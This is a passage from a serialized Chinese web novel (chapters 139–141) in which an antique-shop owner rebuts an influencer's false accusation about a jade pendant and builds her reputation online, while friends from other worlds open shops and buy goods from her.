感谢读者“豆浆不好喝”,灌溉营养液 +1 感谢读者“本本本本肉”,灌溉营养液 +5 139 第139章 ◎从古董商到收藏家◎ 说好晾四小时,结果倒好，直接晾过头了。 萧妧妧一觉到天亮，第二天拒绝了陪爸妈看别墅的请求，准备发愤图强,给古董铺拿得出手的宝贝们拍摄一组绝美宣传视频。 一打开手机,收到助理律师发来的消息,她这才想起麻烦事还没解决。 好奇博主的回应,萧妧妧点进APP，消息通知里,除了不停私信的网友，博主99+的留言最醒目。 直接翻到顶端,萧妧妧先看到一连串道歉求原谅，博主坚称是误会,死不承认造谣诽谤的事实。 诚恳不诚恳的就不说了，反正卖惨很有一套。 萧妧妧猜测陈律师和对方交涉过,被她要求的赔偿金额吓到,主动滑跪。 就算如此,对面也没有承认错误,更不打算按照萧妧妧的要求全平台指定道歉声明,试图私下解决，发布一条误会澄清评论置顶，事情轻轻揭过。 至于萧妧妧以及古董铺的信誉损失，一字不提。 谁说男人没有心眼不计较的,不仅心眼比蜂巢多，心思也比核.废.水毒,一涉及利益比谁都精明。 萧妧妧冷哼一声,跳过翻来覆去的卖惨,继续往下读。 直到凌晨2、3点左右，长久没收到萧妧妧回复，博主这时气急慌急，又变了嘴脸。 “臭傻笔，我都和你道歉了你还想怎么样？” “张口要200万急着给自己买墓地吗？” “你有律师了不起？我也能请。” “别以为我怕你，我报警了，正好查查你那些古董怎么来的。” ………… 前脚悔恨道歉，哭哭啼啼卖惨，嚷嚷着解开误会，后脚破口大骂不说，骂得特别难听，怎么黄怎么来，骂完顺带用人生安全威胁几句。 读完留言，博主狗急跳墙、色厉内荏的倒霉样完整浮现，看得出来对面不仅怕了还破防了。 萧妧妧冷静极了，甚至忍不住笑出声。 好好沟通的时候嘴硬得很，看到立案回执意识到自己踢了铁板，这下比谁都慌， 骂不能白挨，对于博主上赶着送罪名的行为，萧妧妧选择体贴地满足他。 保留证据发给助理律师，顺带坏心眼的把沟通记录发在店铺账号里。 萧妧妧正想问问助理律师交涉结果，能不能再多赔点，网上的风向变了。 新发的聊天记录视频下，一水的支持安慰和义愤填膺，萧妧妧差点没反应过来。 通过最新留言她才知道，舆论在悄然中发生了反转。 顺着网友提供的链接，跳转到其他平台发布的吃瓜澄清帖，萧妧妧目瞪口呆。 一晚上而已，这就澄清了？ 大约是周末的缘故，吃瓜网友格外热情，论坛发帖、视频分析、图文解析……持续了一晚上，热度居高不下，热闹极了。 当然，和明星塌房全民吃瓜这样的程度不能比，平安扣真假争论只在小范围里引起了关注。 即便如此，声量也不小，分析帖转发点赞过万，视频软件受众更广，关注度更高，点赞评论比造谣视频点赞还要高一截。 而激起大家讨论欲望的，除了网友的八卦天性外，脱不开萧妧妧前两次的公共捐赠行为，以及网上美出圈的头冠。 这几次曝光为她拉来了支持者，以及为了头冠文创而默不作声的观望者，如此，很是热闹了一番- 让子弹飞一会，楼下来分析- 不懂啊，没吃过古董圈的瓜，专业人士来？- 希望是造谣吧，我真想买那个头冠文创，据说限量，哎- 人家古董铺刚开业，上来捐了两个非常有研究价值的东西，看得出来店主想好好经营古董店，按理说不会卖假货砸招牌- 谁知道呢，说不定收来的时候没看出真假呗- 不能吧，我看店主准备起诉了，还有立案回执，不像心虚的样子- 说不准就是自导自演的炒作- 别急，我正在研究视频呢，感觉是有点问题- 楼上快说说，哪里有问题？- 是不是挂绳啊？我怎么看怎么不对劲- 我去，我也这么觉得，颜色不一样，你们看店主的监控，直到博主拿走的时候，挂绳都很闪，金灿灿的那种。你们再去看玉哥的视频，他的切片里还能看出来闪，到后面砸平安扣打假的那里，56秒处暂停，很明显不对- 不止啊，你们不觉得上面那个红珠子也不一样吗？- 我去我去，真是造谣啊，这是在干什么？人家店主刚捐了史料，好寒心啊- 卧槽，楼上眼睛真厉害，我去看了，绳子不对，珠子也不对，那块玉瞧着差不多，但我不懂，就不说了- 你们去看不问的账号，我发现一个有意思的地方[图片][图片]- 看不懂了，这个平安扣怎么还在另一个博主的视频里？- 我知道我知道，不问是C大教授，经常在网上教大家学历史和考古，顺便帮大家鉴宝，是我的宝藏博主，粉丝几十万，很厉害了。 这期我有印象，是一个姐姐拿家里传下来的东西鉴定，有象牙和玳瑁- 你们继续看，另一个鉴宝博主当时鉴定过平安扣，给的估价是5万- 五万？意思是另一个鉴定博主认可了平安扣是真的- 等等，不问博主鉴定给出5万的价，中间是不是又过了一手？为什么店主最后卖出去的价是5万5？- 良、良心商家？- 真良心，我给家里人看过监控视频了，他们平时玩玉，都说东西没问题，价格不贵- 那鉴定证书怎么回事？- 证书我来科普一下，首先看店主的，三张鉴定证书三个机构，其中一个C大一个国检，另一个是南检。这三个都是圈内权威机构，做不了假的那种。 正常来讲，提供一个C大或者南检算基础，两个同时提供也有，算比较良心吧，然后店主还送去国检，顶顶权威的机构，三张证书的含金量非常高，上面写的A货，意思是纯天然- 接楼上，再来看玉哥的鉴定证书，非常模糊地闪了一下，只能看到盖章，我暂停后发现，送检的照片和原版平安扣很像，但是对不上，而且这个机构根本比不上C大，别说国检了- 最关键的是，玉哥送检的机构距离他IP非常远，玉哥至少要在买平安扣前一天送东西过去检测，还得在不排队的情况下，才能在他发视频的时间前拿到证书- 这么说来，时间对不上，那证书哪来的？- □□呗[狗头] 萧妧妧吃瓜上头，顾不上其他，抱着手机出门，抱着手机走路，到店里，她无心收拾店铺，找到沙发一躺就是大半天，总算爬完三四个高楼。 她一边吃自己的瓜，一边对网友们的吃瓜能力拍案叫绝。 大家都是福尔摩斯吧！连平安扣在小傅教授那里鉴宝的片段都翻出来了。 凌晨五点左右，萧妧妧睡得正香的时候，吃瓜网友基本盖棺定论，不破斋买到假平安扣整件事情，完全是博主造谣污蔑。 先从平安扣本身下手，大家对比了买卖前后的视频画面，意外发现平安扣的挂绳不对劲。 原版平安扣的绳子有金丝银线编织，灯光下泛着光泽，而博主的视频里完全不同，挂绳只能算普通的金黄色，质感差了一截。 尤其挂绳两端的红珊瑚珠子，原版在监控下隐约分辨出来珠子有雕刻纹路，对比之下，博主手里的那枚就是普通的两颗红珠子。 找出两条关键疑点，大家兴奋不已，继续去扒鉴定证书，这一套套流程走下来，疑点越来越多，真相也越来越近。 直到此刻，萧妧妧发布博主玉哥道歉并坚称是误会的聊天记录，大家笃定这次争论结果- 店主发新视频了，玉哥破防造黄谣- 刚开始看，前面在道歉，但是不承认泼脏水- 嘴硬呗，证书都扒出来时间不对了，还说是误会- 前脚发视频后脚上热搜，很阴谋了- 看完了，笑死，博主啰里八嗦一堆，店主轻飘飘回已阅- 支持店主告到他破产！骂得真脏，气死我了- 爽了，听朋友的朋友说，店主找了南市必胜客，一家超级牛逼的律所，不仅告玉哥还要告下面造谣的网友- 啊啊啊啊啊这才是我该看的新闻，支持告玉哥- 玉哥最少要赔200万，这是不是太离谱了？- 200万！一个平安扣至于吗？- 我觉得告网友也有点那啥……大家不知道真相，说几句不过分吧- 但是谁让玉哥先犯贱呢，长点记性吧- 立案了，估计没那么容易结束，只赔200万算轻了- 这是造谣啊，而且玉哥做翡翠的，我怀疑就是同行打压- 手段真脏啊，支持封号- 你们真觉得200万过分吗？自己去看看店主发的，人家开业以来营业额过亿，算下来每天都有开单，这两天因为舆论根本做不了生意，造成的损失你们一点不提呗- 卧槽，哪里的消息？我这么没看到营业额过亿？- 在发证据自证的那个视频里，最后一段自述，店主有说生意受影响了，有营业额照片- 我去，古董铺这么赚钱吗？- 有没有可能，是她的东西好才赚钱呢？- 你们没看以前的视频吗？店主会顺带卖翡翠，我在评论区吃到瓜，店主之前发的帝王紫古董翡翠镯子被高鹭买走了。评论区有人估过价，几千万肯定有，所以营业额过亿说实话不难- [图片]是这个吧？高鹭参加首映的时候戴出来了，我当时就觉得有点像，没想到真的是从店主手里买走的- 我去，是高鹭啊，她看翡翠的眼光很好的- 话又说回来，你们怎么看出来是一个东西啊？手镯不都一个样？- 种水和颜色款式，没有完全一样的东西。而且高鹭和店主合照了，当时就戴着帝王紫- 想开古董铺，好赚钱的样子 随着萧妧妧发布新的动态，吃瓜贴有了新的动静。 有人觉得不至于，有人认为就该杀鸡儆猴，甚至因为自述内容里提及营业额，又迎来一波争论，逐渐偏离帖子主题，连带着把萧妧妧扒了个干净。 萧妧妧不怕争论，也没什么见不得光的，扒来扒去反而为以前发布过的古董宣传视频增加曝光。 她只是在思索，到底怎么利用这次争论打造她的IP。 道理她懂，具体到怎么操作，萧妧妧抓瞎了。 来回踱步片刻，萧妧妧决定趁机发澄清总结PPT。 把网友们扒出来的疑点对比以及博主的道歉内容相结合，证明清白的同时，表明自己告到底的强硬态度。 最后，萧妧妧再在结尾部分宣告，将整理店内古董送去参加藏品评级，保证每一位顾客买得放心。 萧妧妧吃过无数个PPT瓜，却是第一次做PPT澄清，涉及自身，她按捺不住激动心情，从头到尾心跳就没平静过。 噼里啪啦敲键盘，刚忙完，黎行聿发来一封邮件，紧跟着，他的消息弹送出来- 擅自联系做公关的朋友写了一份公告，或许可以参考一下。 萧妧妧一听是专业公共团队的作品，立刻打起精神，一字一字读下去后，眼睛亮了又亮。 比起冷漠的公关文案，更像是一篇以她的角度撰写的小作文。 最妙的是，小作文着重突显萧妧妧所需要的人设，并且不失诚恳。 在这段文字里，她是一个有底线、只卖真货的古董商，也是一个热爱古董行业和历史文化的普通人，更是一个爱好广泛、有情怀有梦想的收藏家。 她珍爱她的藏品，珍爱店里每一件古董…… “好假……” 当事人萧妧妧搓了搓鸡皮疙瘩，感动的发出如是评价。 假归假，但文字朴实又恳切，人设立得真不错。 萧妧妧对比自己写的小作文，高下立判。 她的PPT只能叫澄清，真正的公关还得看专业团队。 从古董商到收藏家，一个小作文的距离。 不知道网友会不会买账，反正争论过后，大家都知道古董翡翠圈有一个年轻收藏家，萧妧妧。 她只需要趁热打铁，继续曝光扩大知名度，萧妧妧算是彻底踏上成为知名收藏家的正轨。 用网友的话来说，起号了。 萧妧妧笑眯了眼，PPT全平台发布，为方便网友吃瓜，甚至做了相应的改动，做成图片发布出去。 到这里，玉哥道歉不道歉已经改变不了结果，剩下是警察和律师的工作，等到胜诉那天，她也花点钱买个热搜。 事情告一段落，萧妧妧活动筋骨，深吐息。 玉哥解决了，也该轮到赵老板了。 【作者有话说】 感谢读者“eximious~chyx”,灌溉营养液 +2 感谢读者“浮生若梦”,灌溉营养液 +10 感谢读者“哈哈哈哈哈”,灌溉营养液 +1 感谢读者“青衣ゾ”,灌溉营养液 +47 140 第140章 ◎不倒闭珍宝阁◎ 萧妧妧想回击赵老板的盛情,又不想玩脏手段，那便只能抢他的客户。 尤其她从高鹭那里得知，赵老板与几个大股东合伙开设的遇翡，主要客户集中在娱乐圈,除了散客,几乎是专为女明星们服务,萧妧妧更有信心了。 富婆们青睐奢牌和大珠宝商,要么在圈子里私下交换，要么从收藏家里入手,或者拍卖行砸钱。 女明星则不然，大多通过翡翠买手源头下单。 只需要给出价格区间,描述一下自己的需求，多得是人为她们奔波挑选,少数对翡翠有研究的会自己来，比如高鹭。 如果说老玩家、富婆偏爱帝王绿帝王紫这类顶尖好货,大多数女明星更偏向于几百万不等的中档货,白月光、天空蓝、高冰飘花这类中等价位的最受欢迎。 萧妧妧手里有不少顶尖好货,中低档的手镯却不算多。 她扒拉一通,小几百万档次的翡翠镯子手串总共不超过40个,加上申明月一开始送来的翡翠链子，勉强能入眼。 还是得进货，务必让客人们挑花眼不说，见一个爱一个,爱一个买一个。 萧妧妧有针对性的调查了一下客户的偏好，统计店里比较缺的几种类型,列出清单,忙不迭找申明月下单。 柳如烟抱着平板杵在门口半天,等萧妧妧主动开口求助，等来等去，她竟然直接越过她打算去找申明月。 柳如烟气哼哼叉腰：“你在小看本宫？” 萧妧妧被拦住去路，敷衍回应：“哪敢啊。” 柳如烟什么都不缺，万一要求用什么折磨人的馊点子交换，她可做不到。 “要什么跟本宫说便是，难道本宫会难为你不成？”柳如烟径直抢走萧妧妧手里的清单。 萧妧妧不着痕迹地点头，停顿一会，狐疑看她：“说吧，你想要什么。” 柳如烟撇撇嘴，低声说：“我知道文抄公是什么意思了，你能把那些诗全找出来吗？” 萧妧妧脱口而出：“你也要抄？” 好家伙，这要抄撞车了，男主不得翻车啊。 “胡说什么呢。我现在可以肯定，他就是短剧里说的什么穿越重生的人，和剧里面演的一模一样，”柳如烟笃定说完，斜了萧妧妧一眼：“我想看看，到底有多少是他的真本事，有多少是剽窃了他人著作。” 说到后面几个字，柳如烟颇有些咬牙切齿。 她最讨厌被人欺骗了。 柳如烟因诗词而认定此人文采斐然，对陈松的滤镜比砖头都厚。 自从在小卖部得知这些诗词出自不同名家之手，陈松那一句震撼天下读书的横渠四句同样是剽窃，宣扬的独特观念在这里不过是小孩子启蒙的知识…… 再看陈松，柳如烟便不觉得他哪里与众不同，就连她喜欢的俊俏脸蛋，也比不过电视里蹦蹦跳跳的爱豆。 如此一来，往日被她忽视的轻浮举止便显得尤为冒昧，那些张口就来的撩拨话语廉价油腻。 所谓的风采，不过是他装模作样。 崇拜欣赏的crush原来是个品性败坏的油腻普男，柳如烟的天塌了。 “天没塌，是塌房了。”萧妧妧纠正。 原来看短剧还有这效果？ 柳如烟不情愿地说：“我又不是傻子，这不是你们想让我看的吗？” 萧妧妧指了指自己，表情无辜，她确实想做点什么来着，但还没来得及下手呢。 “是我，和萧老板没关系。”孟甜甜拍去手上泥土，起身走来，坦然承认：“你偷偷来店里玩平板，我早知道了，那些短剧也是我挑选出来给你看的。” 萧妧妧好奇孟甜甜到底选了哪些剧，凑过去看到剧名，差点笑喷。 《极品赘婿》 《庶子科举攻略》 《回到古代当宰相》 《我真没想考状元啊》 萧妧妧忍笑，冲着孟甜甜比了个大拇指。 对症下药，柳如烟只要不是傻子就能明白过来。 “对不起，是我多事了，我听萧老板说了你的情况，不忍心你被骗下去。” 不止被骗，柳如烟还恋爱脑，继续发展下去，堂堂公主恐怕真的会像短剧剧情一样，为男主甘愿做妾。 孟甜甜一想到这个结果，气得睡不着，说她多管闲事也好，说她控制欲强也罢，反正她不想看到这样的惨剧，自作主张做了这个决定。 柳如烟看不懂文字，接收这个世界的讯息和知识的全靠视频或者听书，孟甜甜一股脑下载了类似情节的电视剧，又找来一些大女主自立自强的故事影响她。 孟甜甜这两天观察下来发现，效果还不错，尤其对柳如烟这类刚打破世界观并在重塑阶段的人而言。 具体怎么不错，柳如烟当然不会像做汇报一样说出来，孟甜甜全靠自己*的观察。 比如柳如烟对待申明月的态度。 听说两人不对付，见面没好脸色的那种，主要是柳如烟没好脸色，申明月属于被动甩脸色。 这几天申明月频繁出现，大家交谈中得知她率兵打仗，并且打了胜仗，接下来要带领族人研究造纸，柳如烟不仅收敛了嚣张态度，看向申明月的目光甚至多了几分好奇与赞叹。 观察到柳如烟有醒悟的苗头，孟甜甜坚信她还没到不可救药的地步。 果然，柳如烟看破了套路，联想到陈松，迫不及待找机会求证。 柳如烟脸色忽白忽红，太丢脸了！ “她、她也知道了？” 半晌，柳如烟强忍钻地缝的欲望，支支吾吾追问。 萧妧妧一时没反应过来，后来才意识到她说的是申明月。 “那倒没有，她最近忙着呢。” 申明月忙着学习兵书，学习闻所未闻的知识，忙着部曲管理与慰问，忙着应付族人，还要关心手里的生意，没时间八卦。 柳如烟悄悄松了一口气，小声强调：“你们不许说出去！谁都不行。” 萧妧妧了然，黑历史嘛，越少人知道越好。 她指了指被柳如烟抢走的清单：“那……就拜托你了？” 柳如烟扫一眼，眉头拧起：“萧老板怎么会想要这些东西？你不是要当收藏家吗？这些可以帮助你当收藏家？” 萧妧妧顿时无语，果然，全让她们听见了。 “和收藏没关系，准备这些是为了打击报复。” 柳如烟瞬间来劲了，拉着萧妧妧坐下细说。 萧妧妧想了想，以后要靠大家进货，没什么好瞒着，便把这几天的事情和盘托出。 柳如烟听得津津有味，时不时扭头去看孟甜甜：“甜甜，你好厉害啊。” 孟甜甜笑笑：“如果你们在末世待上几天，肯定比我更敏锐。” 事情说完，萧妧妧去货架翻找，一整本翻译好的唐诗宋词递过去。 她实在想知道剧情会怎么发展，多嘴打听：“如果确定陈松写的诗词全是抄的，你会揭穿他吗？” 柳如烟不解：“为何要揭穿？他脑子里那点东西挺有价值，至少目前为止无人可替代。 既然有价值，我也知道他的底牌，应当好好利用才是。 我会提醒皇兄笼络他，同时防着点他。 短剧里都这么演，男主最后要么辅佐他人造反，要么自己当了皇帝。 如果他起了其他心思，到时候再揭穿也不迟。” 话音落下，孟甜甜和萧妧妧齐齐望向她，眼眸亮晶晶。 柳如烟缩了缩脖子：“做什么这样看我？我说得不对？” 萧妧妧笑眯眯：“不，你说得太对了。” 柳如烟眼珠子一转，马上想通关窍，脸颊气鼓鼓：“我都说了，我不是傻子！” 孟甜甜：“嗯嗯嗯，你说得对，不傻，只是有点恋爱脑。” 柳如烟死不承认黑历史，捂住耳朵崩溃大叫：“我不听我不听，没有恋爱！你们别瞎说。” “你们闹什么呢？快来看，我的铺子马上要开业了。” 申明月蹦蹦跳跳进来，打扮得格外俊俏。 萧妧妧难得见她这么精致，多看两眼才去看结界。 “好热闹啊。” 申明月在铺子对面的茶馆二楼包了一间雅间，窗户半敞开，刚好看清外面的景象。 管家模样的男人守在铺子前笑呵呵接受大家祝贺，街道两侧，丫鬟小厮十来人，穿着统一服装，衣服背面绣着店铺名称“不倒闭”三个字，他们笑容满面，给往来的路人散宣传单，隐约能听到什么琉璃玻璃。 申明月嘴巴谦虚得不行，小表情写满了得意，她说：“最近赢了一仗，风头太盛，舅舅劝我低调些，这不，店铺开业只能由管家全权代理。” 有申氏一族撑腰，店铺的所有人还是声名鹊起的申明月，卖的东西又是寻常见不到的琉璃、玻璃、西洋镜以及浮光锦，种种因素下，即将开业的不倒闭珍宝阁迎来了许多顾客。 申明月拉着大家在结界前观礼，几乎是几人刚站定，吉时已到，鞭炮噼里啪啦响，管家揭开牌匾上的红绸。 与此同时，铺子大门打开，欢迎顾客进店挑选。 珍宝阁一楼差不多二三百平，琉璃工艺品错落摆放，烛火不要钱似的燃着，看起来美极了。 进店的客人哪见过这么多琉璃，一会在栩栩如生琉璃花卉面前驻足，一会去看奔腾状的琉璃马，没一会又被同伴拉去看店铺里满满一墙的玻璃餐具，全程目瞪口呆。 隔着一条街，她们都能通过结界听到店铺里传来阵阵惊叹，可以想象店里的客人们到底受了多大冲击。 孟甜甜赞道：“你这铺子真不错，光是雕花窗上的玻璃已经足够吸引人了。” 申明月骄傲昂头：“可不是，舅舅在开业前特意来看过，他老人家高兴得说不出话。” 按照原计划，申明月的珍宝阁打算悄摸摸开，当做自己私产，可店里售卖的东西不凡，若是不找个靠山，迟早要被人惦记。 申明月左思右想，索性让出一成利，让族长舅舅站在前面扛雷，自己躲着偷摸收钱。 也亏了有族长舅舅撑腰，否则升州最繁华的街坊她挤都挤不进来。 申明月：“你们等等，我带你们去二楼看看。” 说着，申明月跳过结界，走出雅间，径直往自家铺子走。 她保持两个世界的通讯，先在一楼转一圈，展示大致布局转身来到二楼。 各色浮光锦摆出一条彩虹，一踏入二楼便会被它们夺走所有目光，久久无法挪开。 深入其中，花样别致的绫罗绸缎铺满柜台，绕过布料区，造型精美小巧的手持镜、典雅素净的全身镜排排摆放，占据了一百多平的空间。 再沿着红毯深入，店铺半空垂挂各色玛瑙、玉髓、碧玺、人造钻石制成的首饰、摆件，烛火下熠熠生辉，仿佛陷入了珠光宝气的虚幻梦境。 不说东西如何，只这一份独一无二的装修陈列，足以打响名声。 珍宝阁，名不虚传。 申明月趁着四下无人，低声介绍：“新店开业，先用它们打头阵，等生意稳定了再慢慢上新。” 想到从小卖部批发过来的便宜货转头卖出千百两银子，随便卖出去几件就能回本，申明月心头火热。 再回到一楼，掌柜算盘拨得哗哗响，已经有不差钱的客人挑中了琉璃摆件和玻璃餐具，排队付款。 丫鬟在楼梯口招呼客人，只说楼上有浮光锦和西洋镜，不宽不窄的楼梯立刻挤满人。 申明月差点堵在楼上。 回到对面茶馆的雅间，申明月锁了门后穿过结界。 “怎么样？我的珍宝阁是不是还不错？”申明月昂起脑袋，“你们没瞧见，那些客人看到玻璃柜台眼珠子都要瞪出来了。” 孟甜甜：“我可以作证。” 萧妧妧笑道：“恭喜申老板新店开业，祝你财源广进。” 申明月笑嘻嘻回应：“同喜同喜，也祝萧老板财源广进。” 嘻嘻哈哈闹了一阵，珍宝阁生意越来越好，捧场的买东西的看热闹的，顾客一波一波涌来。 有替主子采买的，有陪着自家主子进店挑选的， 申明月认出几位升州城有头脸的人物，实在放心不下，和大家说一声便回到珍宝阁坐镇。 直到画面淡去，恢复大白墙，孟甜甜收回满眼羡慕。 “烟烟看清了油腻男，明月的事业刚走上正轨，真好啊，我也该努力了。”孟甜甜情不自禁感叹。 柳如烟：“你想做什么？把丧尸杀光？” 孟甜甜吓到似的，连连摆手：“我可没有那个雄心壮志，有个安全地方好好活下去就够了。” 只想苟活的孟甜甜吃完饭就回到自己的世界，一边撬店铺搜罗东西，一边加快速度寻找可靠安身处。 柳如烟顾不上追短剧，厚厚一本诗词书翻得哗哗响，越翻，表情越难看。 萧妧妧没打扰她，提醒柳如烟记得回去帮忙代购，扭头回到古董铺忙着拍照片抢客户。 刚把几只白月光拍出来发给高鹭，鉴定中心传来了好消息。 140-150 141 第141章 ◎不如买点核武器？◎ 南市博物馆指定的第三方鉴定中心位于南市郊区,距离并不远，东西送到后不出一天有了结果。 好消息，几顶头冠全部通过检测，可以签正式的借展协议。 萧妧妧对此毫不意外,反而惊讶于博物馆方的超绝行动力。 结果发过去不到一小时,萧妧妧忙着收快递的时候,博物馆的工作人员找了来,迫不及待敲定协议。 “下个月中旬正式展览，也拜托萧老板多多宣传,您账号粉丝可比我们馆的粉丝多多了。”崔民接过协议，笑眯眯说。 萧妧妧诧异,当场打开手机从网上搜索南市博物馆的官方账号。 十万粉丝的博物馆官号不算少了，萧妧妧的古董铺账号更多,足有三十万。 平安扣真假事件之前只有十几万，萧妧妧一盘算,粉丝量翻倍竟然发生在事后这几天。 总不能都是为了吃瓜关注店铺吧？萧妧妧不确定的想,但很快放弃琢磨,总归是件好事。 黎行聿没说错,争论事件利用得当,也是机遇。 萧妧妧谦虚几句，当着崔民的面发了一条头冠图文，并宣布它们将于下月在南市博物馆展出的消息。 受争论事件余波影响，仍旧有不少网友盯着她,消息一出，评论区迅速占满。 有人觉得能借展是莫大荣耀,连声恭喜,有人觉得可以亲眼看实物机会难得,满心欢喜打听展览时间计划出行。 萧妧妧询问了崔民具体展览时间，一一回复热情网友，又特意去看了今天推送的新闻以及热搜。 很好，辟谣跑断腿原来是写实。 造谣新闻快速冲上热搜，到了澄清的时候无人问津，落差太大了。 果然，大家只想吃瓜，对事情的真相如何，在乎的人或许有，但始终不多。 送走崔民，萧妧妧喘口气，马不停蹄联系保险公司。 客户经理当晚带着合同找上门，拿到电子证书、流传记录，保险单当即签约完成。 等萧妧妧送走客户经理已是晚上九点，不敢想一天时间发生了这么多事。 “妧妧啊，我和你爸算了算，咱们家那笔存款还真不能省。” 萧妧妧一进家门，早该睡觉的张芸戴着老花镜，一手拿着账本，一手捏着笔，嘀嘀咕咕走过来。 “怎么说？哪里需要花钱？”萧妧妧一边洗漱，一边听张芸说话。 “就月牙湾那个别墅，我和你爸去看了，乖乖，太大了，我们俩光是从门口坐那个敞篷车子进去就用了十分钟，人家小区不给出租车进的，特别严。” “门牌号挺吉利的，但是屋子太大了，我说话都有回声，大晚上的怪吓人，家里藏了人都不知道。 对了，就那个别墅，说是好久没人住，之前只有个保洁每天打扫卫生看院子，保养得还不错，但是要住进去的话，花园要打理，里面的家电要洗洗，费事呢。 我和你爸打电话去问了下，你不知道，随便搞一下张口要二十万。” 张芸叭叭叭吐槽，说到这二十万就气不顺：“你听听离谱不离谱，我们又不要换东西，也不用装修，就清理一下，找人调试一下，顺便把花园整理了，二十万！抢钱呢。” 萧妧妧含着牙刷模糊不清的回应：“二十就二十吧，1000多平自己打扫会累死人的。” 张芸撇嘴，“道理我懂，我就是没想到这个别墅怎么能这么贵，二十万，都够凑首付了。我们还是喜欢熙园那套，不像别墅，住吧，要花20万清理，不住吧，要请人打扫看护。你说说，这不是吞金兽嘛。” 萧妧妧漱完口，开始卸防晒霜，顶着满脸泡沫，推着张芸回去。 “二十万而已，我有钱，该花就花，”萧妧妧不以为意，又道：“既然别墅不住人，咱们还雇佣上一个保洁照看房子吧？你们留联系方式了吗？” 张芸不情不愿：“一个月8000块呢，花钱请人住自己的别墅，我难受。” 萧妧妧这么一琢磨，还真是，心里也难受起来了。 “没办法，月牙湾咱们不住，房子空久了会出问题。” 张芸想来想去，花钱清理可以，花钱请人住自家房子不行，道：“你别管了，我和你爸每周过去住两天，正好那边院子大，你爸打算开一块地种菜，院子连着糊，还能钓鱼，我听说小区后门连景区呢，不收费。” 萧妧妧应和：“那也行，真要打扫你们跟我说，我请家政上门，肯定比一个月花8000划算。” 张芸一听，心里舒坦了，走的时候仍旧念叨那么大的别墅怎么住，拥有别墅的兴奋劲过去后，只剩下为难。 老俩口只能庆幸，幸好房子到手的时候全部精装，东西上档次，审美在线，否则这1300平大别墅能逼得一家子砸锅卖铁。 萧妧妧哭笑不得，倒是打消了把别墅当古董仓库的打算。 空间还塞得下，等多到塞不下再说吧，长时间没人住，萧妧妧挺担心进贼。 虽然概率小，但一旦发生，想起自己那些宝贝，损失不可估量。 飞快冲了个澡，躺在床上的萧妧妧再次拿出投资入门读物。 不出三五分钟，砖头厚的书斜斜倒下，房间里传出绵长呼吸声。 双休因意外到来的事件充满了忙碌，即便是周末，萧妧妧也不能当甩手掌柜。 一大早爬起去小卖部守着，不出半刻，院门迎来了三三两两的顾客。 同样受平安扣真假事件影响，不少在南市的网友打算亲自上门逛一圈，有的是为了看古董，有的则是凑热闹。 萧妧妧敞开大门，欢迎大家随便逛。 买不买东西无所谓，发个朋友圈写个旅游攻略，哪怕带来一点热度都不亏。 孟甜甜今天刚好有空，在院子里看视频学习末世求生知识，规划自己的逃难路线，见古董铺生意突然好起来，自告奋勇帮忙看店。 有孟甜甜搭把手，萧妧妧轻松多了，指挥送货师傅把东西运进189号院子。 萧妧妧站在两套院子中间的小门，左看看，是热热闹闹的古董铺，右看看，是热火朝天搬运物资。 萧妧妧越发觉得这700多万花的值得，两边互不打扰，又能一起照顾到。 申明月看到188号顾客往来不绝，直接从商铺绕到189院子，一进来，刚好看见萧妧妧在检查十几块畸形的凹槽。 “这是什么？小卖部上新了？”申明月摩拳擦掌，只等萧妧妧说出它具体作用，马上下单。 萧妧妧笑：“模具，冶炼金子用的，另一个顾客订的东西。” 她指了指身后充当库房的房间：“你的布到了，青色麻布是娇娇姐的，素色麻布和有花纹的绸布是你的，去检查一下？” 申明月踮脚瞄一眼库房，蛇皮袋裹了厚厚一层，看不出具体物品，她暂且收回目光，蹲下身，好奇地掀起模具。 “这个不着急，萧老板你快跟我说说，难道冶金也有门道？” 比起布料，显然是冶金更重要，想到自己才买回去已经投入实验的造纸，申明月不自觉生出期待。 萧妧妧：“当然，那个顾客买的就是我这里的改良冶金技术，冶炼出来的金子纯度高不说，开采量也能翻倍。” 申明月倒吸一口气，丹凤眼瞪圆：“翻倍？能到多少倍？” ：= 萧妧妧手里有资料，懒得解释那么多，索性把卖给龙傲天的那份文件重新下载打印，递给申明月。 申明月摸着一叠带有打印机余温的A4纸，脸蛋潮红。 “小小一箱子，竟能印出一本书，可真妙啊。” 萧妧妧笑笑：“最近刚添的，不过这玩意可没办法卖，你那边用不了。” 申明月：“和平板一样？要用什么信号和电的东西？” 萧妧妧点头，没想到申明月记得挺清楚。 申明月失落垮下肩膀，随即振作起来，抱着一沓资料蹲在院中石阶上读起来。 萧妧妧把龙傲天的那份模具整理出来，多的先放在院子里，估摸放不了多久，就要被申明月买走了，挪不挪地方无所谓。 给龙傲天发出邀请，萧妧妧继续去库房检查其他货，刚把苏娇娇那批3000米的土麻布塞进空间，龙傲天出现了。 隔了几日不见，龙傲天周身多了肃杀之气，早没了第一次见面时不自觉流露出来的清澈愚蠢气质。 先是认清了好兄弟的真面目，再是发现一直崇敬的老爹早已对他起了杀心，直到上了战场，一个个筹谋着要他的命，龙傲天终于明白自己活在假象里。 兄弟情是假的，父子情是假的，连父母的恩爱同样是假的，龙傲天接受了这一事实，也终于傲不起来了。 经过战场历练果然大不一样，萧妧妧估计他没少吃苦头，眼神变得晦暗阴郁。 “看起来你这段时间过得不太好。”萧妧妧都不忍心说重话戳他心窝子了。 龙傲天苦笑：“吃穿不愁，挺好的。只是看透了一些事。” 萧妧妧没说什么，就怕自己多嘴安慰几句，龙傲天再次发病递来纳妾邀请。 “喏，你的模具到了，还有你要的啤酒和急速冷冻剂，全准备好了。” 龙傲天闻言，顺着萧妧妧手指看去，阴郁心情在这一刻拨云见日般灿烂起来。 “比我想象的大多了……萧老板，模具我暂时抽不开身安排，可否在你这里多存放几日？至于啤酒和冷冻鸡，还请你帮忙送过去。” 龙傲天对冶金可谓一窍不通，进城之后特意加派人手去了解情况。 当下采用的冶金工具与流程他抽空弄明白了，再对比萧老板送来的改良技术，龙傲天总算知道到底哪里不一样。 亲眼见证后，龙傲天彻底放心，也彻底相信萧妧妧所说的产量提高不是空话。 技术有了，只差工具，但金矿不是他能立刻插手的，尤其当前处在战时，事情得分个轻重缓急。 龙傲天手里握着金山偏偏不能用，着急得很，只能按捺住等待时机。 这下倒好，他刚耐住性子，转头看到冶金模具，瞬间勾起心里的念头。 萧妧妧见他直勾勾盯着模具，恨不得马上抱走，却强忍着留下来，好奇跑去结界。 “你们还没打完呢？” 看到对面冰天雪地，将士还在巡逻，战马嘶鸣不止，萧妧妧不禁抖了两下。 龙傲天叹气：“天冷，缺粮食又缺医药，对面铁了心要和我们耗着。” 萧妧妧：“那……再给你准备点粮食？” 